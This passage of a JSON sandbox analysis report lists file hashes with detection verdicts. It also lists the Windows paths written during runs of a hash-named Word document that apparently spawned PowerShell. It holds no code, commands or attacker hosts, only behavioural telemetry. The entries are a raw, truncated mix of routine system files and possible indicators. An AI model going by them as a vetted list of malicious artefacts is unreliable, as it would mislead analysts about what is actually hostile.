08f37731f9fb1a60d24cd"}]},{"name":"__PSScriptPolicyTest_rrxznknd.bnf.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"config14_1_.xml","sha256":"b9d5f7adfc147f60a817ac91ea0dbd0c4467ba343d818ffb9c7511ed51f0ebaf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]}],"files_written":[{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE.config","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\en-US\\user32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\Templates","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\~$Normal.dotm","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\Normal.dotm","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\msxml6r.dll","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{74FCDC3D-E044-44D4-A476-696CFF3E81E7}.tmp","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"C:\\~$9fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.doc","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{D34328B0-6DD3-4645-B9D5-59A0B82F7D28}.tmp","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\System32\\imageres.dll","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\AppPatch\\AppPatch64\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\getevent.types.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\WSMan.Format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.pdb","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\symbols\\dll\\System.Management.Automation.pdb","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\dll\\System.Management.Automation.pdb","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\System.Management.Automation.pdb","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.pdb","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\symbols\\dll\\System.pdb","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\dll\\System.pdb","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\System.pdb","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\en-US\\shell32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"C:\\Users\\Public","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"C:\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\System32","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\hh.exe","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\security.config","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\enterprisesec.config","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\enterprisesec.config.cch","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\64bit\\security.config","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\64bit\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\index2b5.dat","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\assembly\\pubpol107.dat","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\machine.config","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\System32\\l_intl.nls","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\assembly\\GAC_64\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorrc.dll","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%APPDATA%\\Microsoft\\Office\\review.rcd","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\Office\\adhoc.rcd","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\Office","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"C:\\759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.doc","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.LNK","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%APPDATA%\\Microsoft\\UProof\\CUSTOM.DIC","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\GKWord.dll","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\oleacc.dll","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%COMMONPROGRAMFILES%\\System\\ado\\msadox.dll","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%COMMONPROGRAMFILES%\\microsoft shared\\OFFICE14\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{5FE00026-8FA9-4B7B-B1BA-06FE85B7A820}.tmp","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"C:\\~$9fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.docx","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{3147DD3C-8AE0-4C18-B784-2B1DFD761C56}.tmp","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%COMMONPROGRAMFILES%\\microsoft shared\\OFFICE14\\1033\\ALRTINTL.DLL","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\en-US\\imageres.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%PUBLIC%\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%PUBLIC%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\Microsoft.NE